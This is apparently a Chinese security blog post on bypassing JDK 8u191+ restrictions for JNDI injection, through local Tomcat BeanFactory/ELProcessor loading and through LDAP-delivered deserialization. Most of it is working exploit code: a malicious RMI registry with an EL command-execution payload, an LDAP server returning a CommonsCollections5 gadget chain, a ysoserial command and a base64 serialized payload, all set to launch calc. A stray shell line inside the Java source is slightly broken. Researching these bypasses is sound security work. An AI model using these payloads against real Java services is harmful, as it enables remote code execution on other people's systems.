前言
JNDI_RMI在JDK 6u132, JDK 7u122, JDK 8u113版本中,系统属性 com.sun.jndi.rmi.object.trustURLCodebase;com.sun.jndi.cosnaming.object.trustURLCodcbase 的默认值变为false,即默认不允许从远程的Codebase加载Reference工厂类。
JNDI_LDAP在Oracle JDK 6u211、7u201、8u191、11.0.1、之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,对LDAP Reference远程工厂类的加载增加了限制。
我们通常对jndi注入利用常见的两种方法是JNDI+RMI和JNDI+LDAP注入,但这两种注入受到jdk版本的影响,导致不能使用。限制版本在上面已经写了。
关于JDK>8u191版本,目前公开绕过的方法有两种。我已经再高版本环境下实验过了,且均能成功。第一种方法为通过加载本地类
来实现,第二种是通过本地反序列化
来实现。
通过加载本地类
JDK 11.0.1、8u191、7u201、6u211之后之后com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值为false,我们就不能再从远程的Codebase加载恶意的Factory类了,但是我们可以从本地存在的类中加载,也可以达到利用的效果。
我们可以看一下javax.naming.spi.NamingManager#getObjectFactoryFromReference方法,实现从本地类中加载,如果没有则再从指定Codebase远程加载。
需要看到最后return的是一个强制转换的ObjectFactory类型,也就是工厂类必须实现 javax.naming.spi.ObjectFactory 接口,并且该工厂类至少存在一个 getObjectInstance() 方法,我们找到了org.apache.naming.factory.BeanFactory
类,刚好满足所需的条件,且存在于Tomcat依赖包中,所以使用也是非常广泛。
pom依赖
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
RMIServer
package org.example.JndiHighRmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RmiServer {
public static void main(String[] args) throws Exception{
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);
}
}
RmiClient
package org.example.JndiHighRmi;
import javax.naming.InitialContext;
public class RmiClient {
public static void main(String[] args) throws Exception{
Object object=new InitialContext().lookup("rmi://127.0.0.1:1099/Object");
}
}
分析代码:
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ResourceRef类继承了Reference类,也就是可以实例化一个继承后的Reference引用。
传入的本地类是"javax.el.ELProcessor",类工厂为"org.apache.naming.factory.BeanFactory"。
然后到了我们上面所说的可利用的类:org.apache.naming.factory.BeanFactory,该类存在getObjectInstance方法
debug调试,断点打在getObjectInstance方法,一点一点分析:
35行判断是否穿在ResourceRef对象,36行获取类名,41行加载javax.el.ELProcessor类。
58行获取元素键为forceString的值,74行/75行代码:propName值为eval,param值为传入的x,代码也是比较简单。for循环里面调用的参数是,以=号分割,=右边为调用的方法,=左边则是会通过作为hashmap的key。
因为我们在服务端也主动加了ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()\")"));
所以排除过后。这里ra即new StringRefAddr("Vicl1fe", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc.exe']).start()\")")
在111行可以看到该方法中有反射的调用method.invoke(bean, valueArray);并且反射所有参数均来自Reference,反射的类来自Object bean = beanClass.newInstance();,这里是ELProcessor ,后面就是分析ELProcessor.eval达到了命令执行。
通过本地反序列化
pom依赖
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.1.1</version>
</dependency>
LDAPServer
这里使用的Gadget是CommonsCollections5,其中代码也可以改成 使用ysoserial cc5链条改成base64编码,然后代码中Base64.decode()解码即可。我这里是直接把cc5链写上了
package org.example.JndiHighLdap;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) throws Exception{
String[] args=new String[]{"http://192.168.210.127:8081/#test"};
int port = 4444;
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws Exception {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
//CommonsCollections5()可以换成 Base64.decode("cc5链条序列化加base64的内容")
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 'calc'|base64
e.addAttribute("javaSerializedData",CommonsCollections5());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
private static byte[] CommonsCollections5() throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[]{}}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
Map map=new HashMap();
Map lazyMap=LazyMap.decorate(map,chainedTransformer);
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"test");
BadAttributeValueExpException badAttributeValueExpException=new BadAttributeValueExpException(null);
Field field=badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException,tiedMapEntry);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(badAttributeValueExpException);
objectOutputStream.close();
return byteArrayOutputStream.toByteArray();
}
}
LDAPClient
package org.example.JndiHighLdap;
import javax.naming.InitialContext;
//import org.apache.naming.ResourceRef;
public class LDAPClient {
// rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zv cm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=
public static void main(String[] args) throws Exception {
Object object=new InitialContext().lookup("ldap://127.0.0.1:4444/dc=example,dc=com");
}
}
利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用本地反序列化Gadget完成命令执行
还有些没有分析完,后续补充。
参考:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://paper.seebug.org/942/
https://blog.csdn.net/qq_41918771/article/details/122221671?spm=1001.2014.3001.5501
https://xz.aliyun.com/t/8214
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